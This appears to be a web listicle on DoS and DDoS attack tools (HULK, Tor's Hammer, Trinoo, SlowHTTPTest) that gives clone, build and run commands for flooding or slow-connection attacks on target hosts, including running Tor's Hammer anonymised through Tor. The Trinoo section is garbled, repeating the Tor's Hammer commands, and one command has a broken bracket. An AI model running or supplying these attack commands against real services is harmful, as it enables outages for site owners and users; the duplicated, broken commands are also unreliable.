DDoS Attack Tools
Top 10 DoS Attack Tools
Top 10 DoS & DDoS Attack Tools
What is a DOS denial-of-service attack?
DDoS incidents are closely associated with botnets, where hackers take over command and control of thousands of Internet-connected devices, and then in coordinated attacks, direct all those devices to simultaneously send requests to the target. In recent years, however, hacktivist groups and crime organizations have increasingly begun using attack tools that are easy to obtain and simple to use. These DDoS attack applications, such as WebHive LOIC, originated as tools for cybersecurity professionals to perform “stresser” testing on websites. In standalone instances, they are not capable of carrying out a serious DDoS attack. However, when multiple stresser applications are coordinated together, whether through a botnet or via cloud service, these attack tools can take large commercial websites offline for extended periods.
Hulk
$ git clone https://github.com/grafov/hulk.git
$ golang build hulk.go
$ ./hulk -site http://example.com/test/ 2>/dev/null
Tor's Hammer:
Tor’s Hammer is a slow post dos testing tool written in Python. It can also be run through the Tor network to be anonymized. If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050. Kills most unprotected web servers running Apache and IIS via a single instance. Kills Apache 1.X and older IIS with ~128 threads, newer IIS and Apache 2.X with ~256 threads.
### Start Tor Service
$ sudo systemctl start tor
### ./torshammer.py -t <target> [-r <threads> -p <port> -T
./torshammer.py -t 192.168.1.10[-r 256 -p 80 -T
Trinoo :
Trinoo is an attack tool that installs agent programs on compromised hosts and uses the agents through a master program to attack one Trinoo, or more target hosts by flooding them with UDP packets. Communication between the master and agents is password protected.
### Start Tor Service
$ sudo systemctl start tor
### ./torshammer.py -t <target> [-r <threads> -p <port> -T
./torshammer.py -t 192.168.1.10[-r 256 -p 80 -T
Slowhttptest
SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP connections in different ways. SlowHTTPTest is combination of 4 tools through the following switch
-H slow headers a.k.a. Slowloris (default)
-B slow body a.k.a R-U-Dead-Yet
-R range attack a.k.a Apache killer
-X slow read a.k.a Slow Read
$ git clone https://github.com/shekyan/slowhttptest.git
$ cd slowhttptest
$ ./configure
$ make
$ sudo make install
Start a slowloris test of host.example.com with 1000 connections, statistics goes into my_header_stats, interval between follow up headers is 10 seconds and connection rate is 200 connections per second
$ slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3
Start slow POST test of host.example.com with 3000 connections, statistics goes into my_body_stats, interval between follow up headers is 110 seconds, connection rate is 200 connections per second, Content-Length header value is 8192, maximum length of follow up data is random value limited by 10 bytes and probe connections waits 3 seconds for HTTP response before marking server as DoSed:
$ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u
http://host.example.com/loginform.html -x 10 -p 3